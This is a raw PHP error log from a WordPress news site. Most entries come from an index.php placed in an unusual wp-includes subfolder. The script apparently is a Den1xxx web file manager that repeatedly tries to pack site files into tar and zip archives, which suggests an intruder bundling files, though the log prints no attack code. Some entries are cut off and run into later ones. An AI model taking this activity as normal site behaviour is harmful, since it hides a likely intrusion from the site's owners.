/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:22:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:47:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:47:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:53:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 21:53:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:32:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:32:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:34:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:34:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:40:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:40:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:42:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 22:42:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:10:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:10:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:21:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 23:21:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 01:34:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 01:34:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:23:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:24:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:33:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:33:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:33:45 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/AES.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core/AES.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [31-Aug-2025 02:35:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:35:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 02:35:29 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Crypto32.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Crypto32.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [31-Aug-2025 03:07:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 03:07:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:24:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:24:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:28:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:28:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:28:43 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/HChaCha20.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/Core/HChaCha20.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [31-Aug-2025 04:31:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:31:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:33:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:33:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:34:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:34:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:47:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:47:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 04:58:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawa[31-Aug-2025 09:38:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 09:38:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 09:40:15 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Crypto.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1118): PharData->compress(4096, 'php.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [31-Aug-2025 10:31:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:31:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:32:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:32:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:34:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:34:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:37:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 10:37:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:40:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:40:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:41:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:41:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_co[31-Aug-2025 13:45:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:45:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 13:45:24 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SecretStream.zip" failed: unable to write local file header of file "State.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/SecretStream.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1059 [31-Aug-2025 20:51:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 20:52:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 20:53:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 20:53:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:16:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:16:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:16:45 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/ChaCha20.tar" cannot be created, header for file "860761/index.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1075 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1075): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1075 [31-Aug-2025 21:17:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:17:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [31-Aug-2025 21:17:59 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/ChaCha20.zip" failed: unable to write local file header of file "860761/index.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includ[01-Sep-2025 08:43:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:43:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:43:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:43:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:45:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 08:46:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:32:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:41:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:41:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 09:45:02 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Core.zip" failed: unable to write local file header of file "Poly1305/State.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/Core.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1059 [01-Sep-2025 10:17:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:17:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:21:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:22:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:43:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:44:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 10:44:50 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 10:45:21 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1118): PharData->compress(4096, '.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 14:39:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 14:39:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 14:39:50 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/error_log.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/namespaced/error_log" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1117 [01-Sep-2025 15:01:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 15:01:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [01-Sep-2025 15:02:15 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 1118 [01-Sep-2025 15:02:31 UTC] PHP Fatal error: Uncaught 